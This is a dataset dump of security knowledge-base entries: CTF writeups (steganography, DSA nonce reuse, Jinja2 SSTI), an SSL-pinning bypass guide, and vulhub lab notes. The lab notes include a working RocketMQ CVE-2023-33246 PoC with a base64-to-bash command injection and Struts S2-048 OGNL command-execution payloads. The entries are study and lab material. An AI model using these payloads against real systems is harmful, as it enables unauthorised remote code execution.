text
stringlengths
100
9.93M
category
stringclasses
11 values
## Seccon Wars (Stegano, 100p) https://youtu.be/8SFsln4VyEk ###PL [ENG](#eng-version) Na filmie wideo zalinkowanym w zadaniu wyraźnie widać zarysy QR CODE, ale jest on zbyt rozmazany by odczytać go bezpośrednio. Po chwili zastanowienia (jednym z pomysłów było ręczne naprawianie QR kodu "w paincie") wpadliśmy na pomysł uśrednienia wartości piksela dla wielu screenów i odczytania qr codu z takiego uśrednionego obrazu (powinien być czytelniejszy wtedy) Najpierw napisaliśmy program w C# robiący screeny przeglądarki, żeby mieć co uśredniać: ```csharp private class User32 { [StructLayout(LayoutKind.Sequential)] public struct Rect { public int left; public int top; public int right; public int bottom; } [DllImport("user32.dll")] public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect); } public void CaptureApplication(string procName, int i) { var proc = Process.GetProcessesByName(procName)[0]; var rect = new User32.Rect(); User32.GetWindowRect(proc.MainWindowHandle, ref rect); int width = rect.right - rect.left; int height = rect.bottom - rect.top; var bmp = new Bitmap(width, height, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bmp); graphics.CopyFromScreen(rect.left, rect.top, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); bmp.Save("frame" + i + ".png", ImageFormat.Png); } protected override void OnLoad(EventArgs e) { int i = 0; while (true) { i++; CaptureApplication("firefox", i); Thread.Sleep(100); } base.OnLoad(e); } ``` A następnie niewielki skrypt uśredniający obrazy z folderu (szczerze mówiąc, to tak naprawdę to skopiowaliśmy go z SO): ```python import os, numpy, PIL from PIL import Image # Access all PNG files in directory allfiles=os.listdir(os.getcwd()) imlist=[filename for filename in allfiles if filename[-4:] in [".png",".PNG"]] # Assuming all images are the same size, get dimensions of first image w,h=Image.open(imlist[0]).size N=len(imlist) # Create a numpy array of floats to store the average (assume RGB images) arr=numpy.zeros((h,w,3),numpy.float) # Build up average pixel intensities, casting each image as an array of floats for im in imlist: imarr=numpy.array(Image.open(im).convert("RGB"),dtype=numpy.float) arr=arr+imarr/N # Round values in array and cast as 8-bit integer arr=numpy.array(numpy.round(arr),dtype=numpy.uint8) # Generate, save and preview final image out=Image.fromarray(arr,mode="RGB") out.save("Average.png") out.show() ``` Wynik działania: ![](Average.png) Po poprawieniu kontrastu, odczytujemy wynik: SECCON{TH3F0RC3AVVAK3N53P7} ### ENG version In video linked in the description we can clearly see outline of QR CODE, but it's too dark to be read directly After a while (one of our first ideas was to draw qr code by hand in mspaint), we decided to capture a lot of video frames and average all pixels. First, we have written C# script to take browser screenshot every 0.1s: ```csharp private class User32 { [StructLayout(LayoutKind.Sequential)] public struct Rect { public int left; public int top; public int right; public int bottom; } [DllImport("user32.dll")] public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect); } public void CaptureApplication(string procName, int i) { var proc = Process.GetProcessesByName(procName)[0]; var rect = new User32.Rect(); User32.GetWindowRect(proc.MainWindowHandle, ref rect); int width = rect.right - rect.left; int height = rect.bottom - rect.top; var bmp = new Bitmap(width, height, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bmp); graphics.CopyFromScreen(rect.left, rect.top, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); bmp.Save("frame" + i + ".png", ImageFormat.Png); } protected override void OnLoad(EventArgs e) { int i = 0; while (true) { i++; CaptureApplication("firefox", i); Thread.Sleep(100); } base.OnLoad(e); } ``` And then tiny script to average every pixel and save result (to be honest, we just stole it from SO): ```python import os, numpy, PIL from PIL import Image # Access all PNG files in directory allfiles=os.listdir(os.getcwd()) imlist=[filename for filename in allfiles if filename[-4:] in [".png",".PNG"]] # Assuming all images are the same size, get dimensions of first image w,h=Image.open(imlist[0]).size N=len(imlist) # Create a numpy array of floats to store the average (assume RGB images) arr=numpy.zeros((h,w,3),numpy.float) # Build up average pixel intensities, casting each image as an array of floats for im in imlist: imarr=numpy.array(Image.open(im).convert("RGB"),dtype=numpy.float) arr=arr+imarr/N # Round values in array and cast as 8-bit integer arr=numpy.array(numpy.round(arr),dtype=numpy.uint8) # Generate, save and preview final image out=Image.fromarray(arr,mode="RGB") out.save("Average.png") out.show() ``` And the result is: ![](Average.png) After improving contrast and decoding QR CODE: SECCON{TH3F0RC3AVVAK3N53P7}
sec-knowleage
## 概述 ### 常用抓包工具 * burpsuite * fiddler * charles ## 如何抓取https的包 ### 接受所有证书的app 不对证书做严重,直接通过代理就可以抓包; ### 使用系统证书进行校验的app * 将代理工具的证书导出为cer格式; * 将导出的证书安装到手机或浏览器中; ### 绕过证书的SSL Pinning * **xposed + Just Trust Me** 备注:mac电脑升级到Majave版本后,夜神模拟器有bug,推荐使用mumu或者Genymotion模拟器。 这里说一下mumu模拟器安装Xposed+Just Trust Me的过程: [Xposed下载地址](http://repo.xposed.info/module/de.robv.android.xposed.installer) [Just Trust Me下载地址](https://github.com/Fuzion24/JustTrustMe/releases/) 安装最新版的xposed框架会报错如下: ![xposed-1](https://github.com/bloodzer0/ossa/raw/master/application-security/security-testing/img/xposed-1.png) 需要使用如下版本的xposed:[传送门](https://pan.baidu.com/s/11PncIOtrEY7vthB9CpgO2Q) 备注:mumu模拟器需要在设置--应用兼容性--关闭 安装完成如图所示: ![xposed-2](https://github.com/bloodzer0/ossa/raw/master/application-security/security-testing/img/xposed-2.png) * **frida绕过** ### IOS绕过SSL Pinning 手机越狱后,使用SSL Kill Switch2 [ssl-kill-switch2下载地址](https://github.com/nabla-c0d3/ssl-kill-switch2) ## 参考资料 [突破https-https抓包](https://blog.csdn.net/justfwd/article/details/78767328)
sec-knowleage
import base64 import codecs import hashlib from time import sleep from crypto_commons.generic import long_to_bytes from crypto_commons.netcat.netcat_commons import nc, send from crypto_commons.rsa.rsa_commons import modinv, get_fi_distinct_primes, rsa G = 0xe6a5905121b0fd7661e2eb06db9a4d96799165478a0b2baf09836c59ccf4f086bc2a55191ee4bf8b2324f6f53294da244342aba000f7b915861ba2167d09c5569910ae80990c3c79040879d8e16e48219127718d9ff05f71a905041564e9bcb55417b39cdb0b7afc6863ccd10b90ee42f856840e0dd5f8602e49592b58a22d39 P = 0xf2a4ca87978e05b112ef4a16b547c5036cd51fadac0cf967c152e56378c792a45e76e0ebfd62b2b23e94ca3727fbe1ebb308211cf8938c8a735db2de4cd26f0beb53b51fc2a5474bd0d466fc54fce13a4ec2b9840800ecdf337c55105c9b7d702b7f2d20bb3cba16a5948a208f8886ab2eddd1284a5b8ec457bf696be4bbb51b Q = 0x9821a36da85bf3bcfb379d7cc39f5b6db7a553d5 def h(x): return int(hashlib.md5(x).hexdigest(), 16) def makeMsg(name, n): return 'MSG = {n: ' + n + ', name: ' + name + '}' def simple_sign(name, n, priv): k = 5 # dice roll, I swear! r = pow(G, k, P) % Q s = (modinv(k, Q) * (h(makeMsg(name, n)) + priv * r)) % Q return r * Q + s def read_collision_n(name): with codecs.open(name, "rb") as input_file: return input_file.read()[8:] def get_sig(col): name = base64.b64encode("test") url = "pki.hackable.software" port = 1337 s = nc(url, port) send(s, "register:" + name + "," + col) sleep(5) signature = s.recv(9999) return int(signature.strip()) def decode_rsa_signature(n, factors, ct): n = int(n.encode("hex"), 16) d = modinv(65537, get_fi_distinct_primes(factors)) return rsa(ct, d, n) def main(): n1 = read_collision_n("col1") factors1 = [234616432627, 705869477985961204313551643916777744071330628233585786045998984992545254851001542557142933879996265894077678757754161926225017823868556053452942288402098017612976595081470669501660030315795007199720049960329731910224810022789423585714786440228952065540955255662140767866791612922576360776884260619L] # col1 = base64.b64encode(n1) # sig1 = get_sig(col1) # value cached below sig1 = 45254147107316604985838940723873087065648716656505719897465763752188344559259982909946582387581238630810505111702280156530580024162354320922165321462910808027195861156154913029659141369366731116256144166513466262820414101619676170670462164924122480441158287460305618685897536866567703872210447139212329752485 n2 = read_collision_n("col2") factors2 = [119851, 236017, 5854608817710130372948444562294396040006311067115965740712711205981029362712183315259168783815905208719000197236691607700100836391807927746833977891792631066541406816904680111217125634549418611669208807316369565620310660295144628581977856740654199823679135895590513942858128229967305158632385155587L] # col2 = base64.b64encode(n2) # sig2 = get_sig(col2) # value cached below sig2 = 75192947990007542085188766184539371284719071358445557426300109324739891690549237742257214192631557978881958688601121333533557280909118797353696869434142069884160391258848066603116809532123308968051639065681186651011928077675380204482405509591787282691679920144780885427200808239335447140493957969342214523565 real_signature1 = decode_rsa_signature(n1, factors1, sig1) real_signature2 = decode_rsa_signature(n2, factors2, sig2) print(real_signature1) print(real_signature2) k = (h(makeMsg("test", n1)) - h(makeMsg("test", n2))) * modinv(real_signature1 - real_signature2, Q) % Q print(k) r = real_signature1 / Q s = real_signature1 % Q private_key = ((s * k) - h(makeMsg("test", n1))) * modinv(r, Q) print(private_key) admin_sig = simple_sign("admin", "1", private_key) name = base64.b64encode("admin") n = base64.b64encode("1") sig = base64.b64encode(long_to_bytes(admin_sig)) url = "pki.hackable.software" port = 1337 s = nc(url, port) send(s, "login:" + name + "," + n + "," + sig) sleep(5) flag = s.recv(9999) print(flag) # DrgnS{ThisFlagIsNotInterestingJustPasteItIntoTheScoreboard} main()
sec-knowleage
# Johnny ## Johnny软件包介绍 Johnny为the John the Ripper密码破解工具提供了可视化操作界面. [Johnny主页](http://openwall.info/wiki/john/johnny) | [Kali Johnny仓库](http://git.kali.org/gitweb/?p=packages/johnny.git;a=summary) 作者: Shinnok, Aleksey Cherepanov 开源协议: Other #### 包含在Johnny软件包中的工具 johnny – 为John the Ripper提供可视化界面的工具 Johnny为the John the Ripper密码破解工具提供了可视化操作界面. #### johnny使用范例 ``` root@kali:~# johnny ```
sec-knowleage
# Apache RocketMQ Remote Command Execution (CVE-2023-33246) [中文版本(Chinese version)](README.zh-cn.md) RocketMQ is a distributed messaging and streaming platform with low latency, high performance and reliability, trillion-level capacity and flexible scalability. For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x. References: - <https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp> - <https://github.com/I5N0rth/CVE-2023-33246> ## Start Use following command to start a RocketMQ 5.1.0: ```shell docker compose up -d ``` ## Exploit Use `IDEA` , `Eclipse` or `IDE` to create a new `Maven` project, import dependency: ```xml <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency> <groupId>org.apache.rocketmq</groupId> <artifactId>rocketmq-tools</artifactId> <version>5.1.0</version> </dependency> </dependencies> ``` PoC: ```java package org.example; import org.apache.rocketmq.client.exception.MQClientException; import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class App { public static void main(String[] args) throws Exception { String targetHost = "your-ip"; String targetPort = "10911"; String targetAddr = String.format("%s:%s",targetHost,targetPort); Properties props = new Properties(); props.setProperty("rocketmqHome", getCmd("touch /tmp/success")); props.setProperty("filterServerNums", "1"); DefaultMQAdminExt admin = new DefaultMQAdminExt(); admin.setNamesrvAddr("0.0.0.0:12345"); admin.start(); admin.updateBrokerConfig(targetAddr, props); Properties brokerConfig = admin.getBrokerConfig(targetAddr); System.out.println(brokerConfig.getProperty("rocketmqHome")); System.out.println(brokerConfig.getProperty("filterServerNums")); admin.shutdown(); } private static String getCmd(String cmd) { String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes()); return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;"; } } ``` After the console successfully outputs the new configuration, please wait for about 30 seconds and the `touch /tmp/success` has been executed: ![](screenshot.png) ## Simple Analysis Why modify the `filterServerNums` property: If the configured `filterServerNums` is 0, the calculated `more` will also be 0, so it is not possible to enter the `callShell` method to execute commands. ```java public void createFilterServer() { int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size(); String cmd = this.buildStartCommand(); for (int i = 0; i < more; i++) { FilterServerUtil.callShell(cmd, log); } } public static void callShell(final String shellString, final Logger log) { Process process = null; try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK", shellString); } catch (Throwable e) { log.error("CallShell: readLine IOException, {}", shellString, e); } finally { if (null != process) process.destroy(); } } ``` Why modify the `rocketmqHome` attribute: When building a command, the `splitShellString` method is ultimately called to split the parameters according to spaces. Therefore, it cannot be a `NamesrvAddr` parameter, but can only be the starting `rocketmqHome` parameter. However, due to parameter segmentation rules, stricter commands and clever techniques are required to execute. ```java private String buildStartCommand() { String config = ""; if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) { config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile()); } if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) { config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr()); } if (NetworkUtil.isWindowsPlatform()) { return String.format("start /b %s\\bin\\mqfiltersrv.exe %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } else { return String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config); } } ```
sec-knowleage
# Shrine (web, 190p, 58 solved) ``` shrine is translated as jinja in Japanese. ``` In the challenge we are given link to vulnerable website: http://shrine.chal.ctf.westerns.tokyo/. Without any parameters, it prints its own source code: ```python import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True) ``` This is classic example of [server side template injection](https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection). Authors don't even try to hide it from us - the injection point is obvious. For example visiting `http://shrine.chal.ctf.westerns.tokyo/shrine/{{2+2}}` Will print "4". SSTI is usually equivalent to RCE and would be [trivial to exploit](https://github.com/vulhub/vulhub/tree/master/flask/ssti). Unfortunatelly, in this case there is a slight problem - `(` and `)` chracters are blacklisted. Additionaly `config` and `self` JINJA2 variables are cleared. At the beginning we tried to find a way to execute arbitrary code, but we failed. So we deduced, that we probably don't need RCE and the intended solution expects us to find the original app.config somewhere. After carefully reading the JINJA2 source code, we noticed that `self` is a very, [very peculiar](https://github.com/pallets/jinja/blob/fb7e12cce67b9849899f934e697f7e2a91d604c2/jinja2/compiler.py#L744) variable: ```python if 'self' in find_undeclared(node.body, ('self',)): ref = frame.symbols.declare_parameter('self') self.writeline('%s = TemplateReference(context)' % ref) ``` So `self` is changed to TemplateReference(context), but only if it's used without declaration in the current scope. At the first sight it's impossible to solve, because self is always overwritten in the beginning (so it should always be referenced), but of course it's more complex. After more reading, it turned out that it's enough to create a new block to skip this check. So we can get reference to self with: ``` {%block kitku%} {{self}} {%endblock%} ``` ``` <TemplateReference None> ``` We can go from there and look for interesting things: ``` {%block kitku%} {{self.__dict__}} {%endblock%} ``` ``` {'_TemplateReference__context': <Context {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7fdc26d9f268>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'url_for': <function url_for at 0x7fdc23b10d08>, 'get_flashed_messages': <function get_flashed_messages at 0x7fdc23b10ea0>, 'config': None, 'request': <Request 'http://shrine.chal.ctf.westerns.tokyo/shrine/{%25block kitku%25} {{self.__dict__}} {%25endblock%25}' [GET]>, 'session': <NullSession {}>, 'g': <flask.g of 'app'>, 'self': None} of None>} ``` Of course the most interesting thing is internal __context variable - I wonder what's in the parent... ``` {%block kitku%} {{self._TemplateReference__context.parent}} {%endblock%} ``` ``` {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7fe752e1a268>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'url_for': <function url_for at 0x7fe74fc89d08>, 'get_flashed_messages': <function get_flashed_messages at 0x7fe74fc89ea0>, 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>, 'request': <Request 'http://shrine.chal.ctf.westerns.tokyo/shrine/{%25block kitku%25} {{self._TemplateReference__context.parent}} {%25endblock%25}' [GET]>, 'session': <NullSession {}>, 'g': <flask.g of 'app'>} ``` And sure enough, we see original config and FLAG variable: `TWCTF{pray_f0r_sacred_jinja2}`
sec-knowleage
package org.vulhub; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.vulhub.api.CalcService; public class HttpConsumer { public static void main(String []args) throws Exception { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml"); context.start(); CalcService demoService = (CalcService) context.getBean("calcService"); Integer result = demoService.add(123, 456); System.out.printf("Your result is %d\n", result); } }
sec-knowleage
# S2-048 远程代码执行漏洞 影响版本: 2.0.0 - 2.3.32 漏洞详情: - http://struts.apache.org/docs/s2-048.html - http://bobao.360.cn/learning/detail/4078.html - http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/ ## 测试环境搭建 ``` docker compose up -d ``` ## 漏洞复现 原理详见参考文档,这里只说一下当前环境。 这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问`http://your-ip:8080/showcase/`即可查看到struts2的测试页面。 访问Integration/Struts 1 Integration: ![](01.png) 触发OGNL表达式的位置是`Gangster Name`这个表单。 输入`${233*233}`即可查看执行结果(剩下两个表单随意填写): ![](02.png) 借用S2-045的沙盒绕过方法,我改了一个POC。将如下POC填入表单`Gengster Name`中,提交即可直接回显命令执行的结果: ``` %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)} ``` ![](03.png) 当然,你也可以直接用s2-045的POC(你需要在Burp下进行测试): ``` %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ```
sec-knowleage
# 33. 二叉搜索树的后序遍历序列 [NowCoder](https://www.nowcoder.com/practice/a861533d45854474ac791d90e447bafd?tpId=13&tqId=11176&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。假设输入的数组的任意两个数字都互不相同。 例如,下图是后序遍历序列 1,3,2 所对应的二叉搜索树。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/13454fa1-23a8-4578-9663-2b13a6af564a.jpg" width="150"/> </div><br> ## 解题思路 ```java public boolean VerifySquenceOfBST(int[] sequence) { if (sequence == null || sequence.length == 0) return false; return verify(sequence, 0, sequence.length - 1); } private boolean verify(int[] sequence, int first, int last) { if (last - first <= 1) return true; int rootVal = sequence[last]; int cutIndex = first; while (cutIndex < last && sequence[cutIndex] <= rootVal) cutIndex++; for (int i = cutIndex; i < last; i++) if (sequence[i] < rootVal) return false; return verify(sequence, first, cutIndex - 1) && verify(sequence, cutIndex, last - 1); } ```
sec-knowleage
import os import zipfile import zlib import hashlib from struct import pack, unpack import sys POLY_SZ = 20 class BitStream: def __init__(self, data, sz=None): if sz is None: sz = len(data) * 8 self.sz = sz self.data = bytearray(data) self.idx = 0 def get_bit(self): if self.idx >= self.sz: raise Exception('All bits used. Go away.') i_byte = self.idx / 8 i_bit = self.idx % 8 bit = (self.data[i_byte] >> i_bit) & 1 self.idx += 1 return bit def get_bits(self, sz): v = 0 for i in xrange(sz): v |= self.get_bit() << i return v class LFSR: def __init__(self, poly, iv, sz): self.sz = sz self.poly = poly self.r = iv self.mask = (1 << sz) - 1 def get_bit(self): bit = (self.r >> (self.sz - 1)) & 1 new_bit = 1 masked = self.r & self.poly for i in xrange(self.sz): new_bit ^= (masked >> i) & 1 self.r = ((self.r << 1) | new_bit) & self.mask return bit class LFSRCipher: def __init__(self, poly_sz=20, keys=None, cipher_iv=None): cipher_iv_stream = BitStream(cipher_iv) self.lfsr = [] for i in xrange(8): l = LFSR(keys[i], cipher_iv_stream.get_bits(poly_sz), poly_sz) self.lfsr.append(l) def get_keystream_byte(self): b = 0 for i, l in enumerate(self.lfsr): b |= l.get_bit() << i return b def crypt(self, s): s = bytearray(s) for i in xrange(len(s)): s[i] ^= self.get_keystream_byte() return str(s) a = [ [891178], [96592, 196791, 382325, 560159, 741274, 950625], [360648, 384019, 569495], [51229, 161872], [219426], [416203], [161972, 860275, 1010447], [111181, 342767], ] import itertools import sys, struct s = open(sys.argv[1], "rb").read() datalen = struct.unpack("<I", s[18:22])[0] tgtlen = datalen - 40 - 32 # 0x16dea print hex(tgtlen) fname = "flag.png" #fname = "after_ins.png" data = s[s.find(fname)+len(fname):][:datalen] key_iv = data[:20] cipher_iv = data[20:40] print repr(cipher_iv) enc = data[40:][:tgtlen] poss = [] for prod in itertools.product(*a): c = LFSRCipher(20, prod, cipher_iv) cc = c.crypt(enc[:100]) if cc[37:41] != "sRGB": continue print prod print repr(cc[33:]) c = LFSRCipher(20, prod, cipher_iv) cc = c.crypt(enc) poss.append(cc) for i, p in enumerate(poss): open(str(i) + ".png", "wb").write(p)
sec-knowleage
users === 打印当前主机所有登陆用户的名称。 ## 概要 ```shell users [OPTION]... [FILE] ``` ## 主要用途 - 每个显示的用户名对应一个登录会话;如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。 ## 选项 ```shell --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 参数 FILE(可选):记录用户当前登录情况的文件;默认使用 `/var/run/utmp` 、`/var/log/wtmp`。 ## 返回值 返回0表示成功,返回非0值表示失败。 ## 例子 ```shell [root@localhost ~]# users root root ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 users`,`info coreutils 'users invocation'`。
sec-knowleage
# T1584-005-盗取基础设施-僵尸网络 ## 来自ATT&CK的描述 攻击者可能会攻击许多第三方系统,以形成一个僵尸网络,在攻击目标过程中使用。僵尸网络是一个由被破坏的系统组成的网络,可以被执行下发的任务。攻击者可以通过攻陷许多第三方系统来建立自己的僵尸网络,而不是从压力测试服务商那里中购买或租用僵尸网络。攻击者也可以接管现有的僵尸网络,例如将僵尸重定向到攻击者控制的C2服务器。有了僵尸网络,攻击者可以进行后续活动,例如大规模网络钓鱼或分布式拒绝服务(DDoS)。 ## 测试案例 简单的来讲:即攻击者自行组建属于自己的僵尸网络系统,通过攻击第三方系统的手段。 僵尸网络Botnet是指采用一种或多种传播手段,将大量主机感染bot程序(僵尸程序)病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。 攻击者通过各种途径传播僵尸程序感染互联网上的大量主机,而被感染的主机将通过一个控制信道接收攻击者的指令,组成一个僵尸网络。之所以用僵尸网络这个名字,是为了更形象地让人们认识到这类危害的特点:众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着,成为被人利用的一种工具。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织(受害者)的能见度之外,使得检测这种行为变得困难。检测工作可能集中在攻击生命周期的相关阶段,例如在网络钓鱼、端点拒绝服务或网络拒绝服务期间。 ## 参考推荐 MITRE-ATT&CK-T1584-005 <https://attack.mitre.org/techniques/T1584/005/>
sec-knowleage
# 部署 --- 对一个 Web 应用程序来说,除了 Servlet、Filter 这些逻辑组件,还需要 JSP 这样的视图文件,外加一堆静态资源文件,如 CSS、JS 等。 合理组织文件结构非常重要。我们以一个具体的 Web 应用程序为例: ``` webapp ├── pom.xml └── src └── main ├── java │ └── com │ └── itranswarp │ └── learnjava │ ├── Main.java │ ├── filter │ │ └── EncodingFilter.java │ └── servlet │ ├── FileServlet.java │ └── HelloServlet.java ├── resources └── webapp ├── WEB-INF │ └── web.xml ├── favicon.ico └── static └── bootstrap.css ``` 我们把所有的静态资源文件放入 `/static/` 目录,在开发阶段,有些 Web 服务器会自动为我们加一个专门负责处理静态文件的 Servlet,但如果 `IndexServlet` 映射路径为 `/`,会屏蔽掉处理静态文件的 Servlet 映射。因此,我们需要自己编写一个处理静态文件的 `FileServlet`: ```java @WebServlet(urlPatterns = "/static/*") public class FileServlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { ServletContext ctx = req.getServletContext(); // RequestURI包含ContextPath,需要去掉: String urlPath = req.getRequestURI().substring(ctx.getContextPath().length()); // 获取真实文件路径: String filepath = ctx.getRealPath(urlPath); if (filepath == null) { // 无法获取到路径: resp.sendError(HttpServletResponse.SC_NOT_FOUND); return; } Path path = Paths.get(filepath); if (!path.toFile().isFile()) { // 文件不存在: resp.sendError(HttpServletResponse.SC_NOT_FOUND); return; } // 根据文件名猜测Content-Type: String mime = Files.probeContentType(path); if (mime == null) { mime = "application/octet-stream"; } resp.setContentType(mime); // 读取文件并写入Response: OutputStream output = resp.getOutputStream(); try (InputStream input = new BufferedInputStream(new FileInputStream(filepath))) { input.transferTo(output); } output.flush(); } } ``` 这样一来,在开发阶段,我们就可以方便地高效开发。 类似 Tomcat 这样的 Web 服务器,运行的 Web 应用程序通常都是业务系统,因此,这类服务器也被称为应用服务器。应用服务器并不擅长处理静态文件,也不适合直接暴露给用户。通常,我们在生产环境部署时,总是使用类似 Nginx 这样的服务器充当反向代理和静态服务器,只有动态请求才会放行给应用服务器,所以,部署架构如下: ``` ┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐ │ /static/* │ ┌───────┐ ┌──────────> file │Browser├────┼─┤ │ ┌ ─ ─ ─ ─ ─ ─ ┐ └───────┘ │/ proxy_pass │ └─────────────────────┼───>│ Web Server │ Nginx └ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘ └ ─ ─ ─ ─ ─ ─ ┘ ``` 实现上述功能的 Nginx 配置文件如下: ``` server { listen 80; server_name www.ffffffff0x.com; # 静态文件根目录: root /path/to/src/main/webapp; access_log /var/log/nginx/webapp_access_log; error_log /var/log/nginx/webapp_error_log; # 处理静态文件请求: location /static { } # 处理静态文件请求: location /favicon.ico { } # 不允许请求/WEB-INF: location /WEB-INF { return 404; } # 其他请求转发给Tomcat: location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } ``` 使用 Nginx 配合 Tomcat 服务器,可以充分发挥 Nginx 作为网关的优势,既可以高效处理静态文件,也可以把 https、防火墙、限速、反爬虫等功能放到 Nginx 中,使得我们自己的 WebApp 能专注于业务逻辑。 --- ## Source & Reference - https://www.liaoxuefeng.com/wiki/1252599548343744/1304266260086817
sec-knowleage
